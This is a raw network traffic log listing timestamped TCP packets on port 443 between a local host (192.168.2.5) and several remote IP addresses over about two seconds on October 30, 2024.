Oct 30, 2024 23:11:21.018501997 CET	49712	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.028126001 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.028137922 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.074712038 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.080677032 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.080909014 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.080955982 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.080969095 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.091188908 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.091541052 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.091547966 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.095891953 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.099231958 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.099240065 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.105346918 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.107153893 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.107161045 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.154162884 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.154175043 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.200826883 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.201167107 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.201191902 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.201277018 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.211124897 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.216073990 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.216114044 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.216331005 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.216357946 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.216442108 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.221803904 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.225393057 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.227237940 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.227262020 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.228471994 CET	443	49718	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.236576080 CET	49718	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.236608028 CET	443	49718	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.238209963 CET	49718	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.238218069 CET	443	49718	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.248778105 CET	443	49715	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.250288963 CET	443	49716	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.252244949 CET	443	49717	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.253549099 CET	443	49719	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.256829977 CET	49715	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.256867886 CET	443	49715	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.264769077 CET	49715	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.264780045 CET	443	49715	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.272509098 CET	49719	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.272592068 CET	443	49719	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.275932074 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.276724100 CET	49719	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.276741028 CET	443	49719	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.276806116 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.276830912 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.292855978 CET	49716	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.292903900 CET	443	49716	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.294760942 CET	49717	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.304723978 CET	49716	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.304733038 CET	443	49716	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.313249111 CET	49717	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.313263893 CET	443	49717	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.321336985 CET	49717	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.321351051 CET	443	49717	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.324501038 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.326050997 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.326061964 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.327377081 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.331235886 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.335859060 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.336981058 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.337068081 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.337075949 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.337153912 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.341731071 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.345536947 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.347070932 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.347084999 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.363162041 CET	443	49718	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.363187075 CET	443	49718	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.363238096 CET	49718	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.363255978 CET	443	49718	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.363378048 CET	443	49718	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.363429070 CET	49718	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.374766111 CET	49718	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.374783039 CET	443	49718	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.374799967 CET	49718	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.374805927 CET	443	49718	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.388525963 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.392959118 CET	443	49715	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.392988920 CET	443	49715	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.393059969 CET	49715	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.393100977 CET	443	49715	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.393343925 CET	49715	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.393352985 CET	443	49715	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.393382072 CET	443	49715	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.393434048 CET	49715	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.394382954 CET	49715	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.394407034 CET	443	49715	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.395910978 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.395965099 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.396039009 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.396049976 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.406459093 CET	443	49719	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.406531096 CET	443	49719	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.406615973 CET	49719	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.433099985 CET	443	49716	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.433213949 CET	443	49716	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.433337927 CET	49716	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.444993019 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.446422100 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.446444035 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.450659037 CET	443	49717	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.450695038 CET	443	49717	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.450773954 CET	49717	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.450809002 CET	443	49717	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.450858116 CET	49717	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.451528072 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.455115080 CET	49716	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.455130100 CET	443	49716	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.455144882 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.455158949 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.457360983 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.459093094 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.459105015 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.465564966 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.465697050 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.465712070 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.465789080 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.465878963 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.465884924 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.475054026 CET	49717	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.475086927 CET	443	49717	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.475105047 CET	49717	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.475112915 CET	443	49717	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.491389990 CET	49719	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.491405010 CET	443	49719	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.491465092 CET	49719	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.491471052 CET	443	49719	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.515073061 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.516503096 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.529627085 CET	49720	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.529684067 CET	443	49720	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.529752016 CET	49720	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.533014059 CET	49720	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.533036947 CET	443	49720	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.536498070 CET	49721	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.536529064 CET	443	49721	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.536604881 CET	49721	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.536801100 CET	49721	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.536818027 CET	443	49721	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.537847996 CET	49722	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.537879944 CET	443	49722	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.538156986 CET	49722	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.539486885 CET	49723	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.539505959 CET	443	49723	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.539645910 CET	49723	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.540823936 CET	49722	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.540844917 CET	443	49722	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.547413111 CET	49723	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.547430038 CET	443	49723	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.548785925 CET	49724	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.548825979 CET	443	49724	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.548979044 CET	49724	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.549103022 CET	49724	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:21.549117088 CET	443	49724	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:21.560352087 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.560360909 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.564889908 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.564954996 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.564965010 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.571857929 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.572037935 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.572051048 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.577461004 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.577640057 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.577646971 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.585740089 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.585800886 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.585829973 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.585836887 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.585910082 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.636368990 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.685286999 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.685308933 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.686722040 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.686775923 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.686780930 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.686795950 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.686897993 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.693357944 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.699038029 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.699090004 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.699122906 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.699158907 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.699167013 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.699193001 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.706083059 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.706129074 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.706201077 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.706207991 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.706267118 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.747762918 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.756689072 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.756810904 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.756829023 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.805607080 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.805711031 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.805721045 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.812258959 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.812316895 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.812325954 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.817825079 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.817867994 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.817877054 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.817883968 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.817991972 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.826152086 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.872864962 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.872873068 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.876641035 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.876732111 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.876739025 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.919754028 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.919955969 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.920072079 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.921531916 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.921547890 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.925760984 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.925839901 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.925847054 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.932527065 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.932715893 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.932722092 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.950459003 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.950505972 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.950659990 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.950680971 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.950747013 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.951436996 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:21.951483011 CET	443	49710	172.217.18.4	192.168.2.5
Oct 30, 2024 23:11:21.951560020 CET	49710	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:22.273308039 CET	443	49720	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.274167061 CET	49720	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.274211884 CET	443	49720	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.274768114 CET	49720	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.274781942 CET	443	49720	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.275620937 CET	443	49724	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.276020050 CET	49724	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.276036978 CET	443	49724	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.276469946 CET	49724	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.276474953 CET	443	49724	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.285753012 CET	443	49721	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.286246061 CET	49721	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.286263943 CET	443	49721	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.286659002 CET	443	49723	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.286660910 CET	49721	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.286670923 CET	443	49721	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.287174940 CET	49723	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.287189960 CET	443	49723	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.287616968 CET	49723	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.287621975 CET	443	49723	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.290932894 CET	443	49722	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.291487932 CET	49722	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.291526079 CET	443	49722	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.291731119 CET	49722	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.291738987 CET	443	49722	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.408107042 CET	443	49724	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.408257961 CET	443	49724	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.408340931 CET	49724	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.408433914 CET	49724	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.408433914 CET	49724	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.408451080 CET	443	49724	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.408458948 CET	443	49724	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.408826113 CET	443	49720	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.408942938 CET	443	49720	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.408992052 CET	49720	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.409106016 CET	49720	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.409125090 CET	443	49720	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.409141064 CET	49720	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.409147024 CET	443	49720	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.411633015 CET	49729	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.411657095 CET	443	49729	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.411676884 CET	49730	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.411716938 CET	443	49730	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.411737919 CET	49729	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.411818027 CET	49730	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.411890030 CET	49729	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.411901951 CET	443	49729	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.412053108 CET	49730	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.412070990 CET	443	49730	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.419745922 CET	443	49723	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.419827938 CET	443	49723	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.420053959 CET	443	49721	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.420125961 CET	49723	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.420303106 CET	49723	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.420320034 CET	443	49723	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.420331001 CET	49723	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.420336962 CET	443	49723	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.420418024 CET	443	49721	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.420463085 CET	49721	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.421050072 CET	49721	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.421055079 CET	443	49721	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.421070099 CET	49721	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.421072960 CET	443	49721	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.424591064 CET	49731	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.424609900 CET	443	49731	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.424679995 CET	49731	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.424949884 CET	49732	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.424973011 CET	443	49732	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.425015926 CET	49731	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.425025940 CET	443	49731	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.425048113 CET	49732	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.425225973 CET	49732	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.425240993 CET	443	49732	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.428260088 CET	443	49722	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.428320885 CET	443	49722	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.428376913 CET	49722	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.428466082 CET	49722	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.428487062 CET	443	49722	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.428499937 CET	49722	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.428505898 CET	443	49722	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.430824995 CET	49733	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.430856943 CET	443	49733	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.431041956 CET	49733	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.431293964 CET	49733	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:22.431304932 CET	443	49733	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:22.586036921 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:22.586071968 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:22.586139917 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:22.607712030 CET	49734	443	192.168.2.5	52.149.20.212
Oct 30, 2024 23:11:22.607733011 CET	443	49734	52.149.20.212	192.168.2.5
Oct 30, 2024 23:11:23.159529924 CET	443	49729	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.160183907 CET	49729	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.160196066 CET	443	49729	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.160305977 CET	443	49730	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.160644054 CET	49729	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.160659075 CET	443	49729	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.160828114 CET	49730	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.160837889 CET	443	49730	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:23.161204100 CET	49730	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:23.161209106 CET	443	49730	13.107.246.45	192.168.2.5
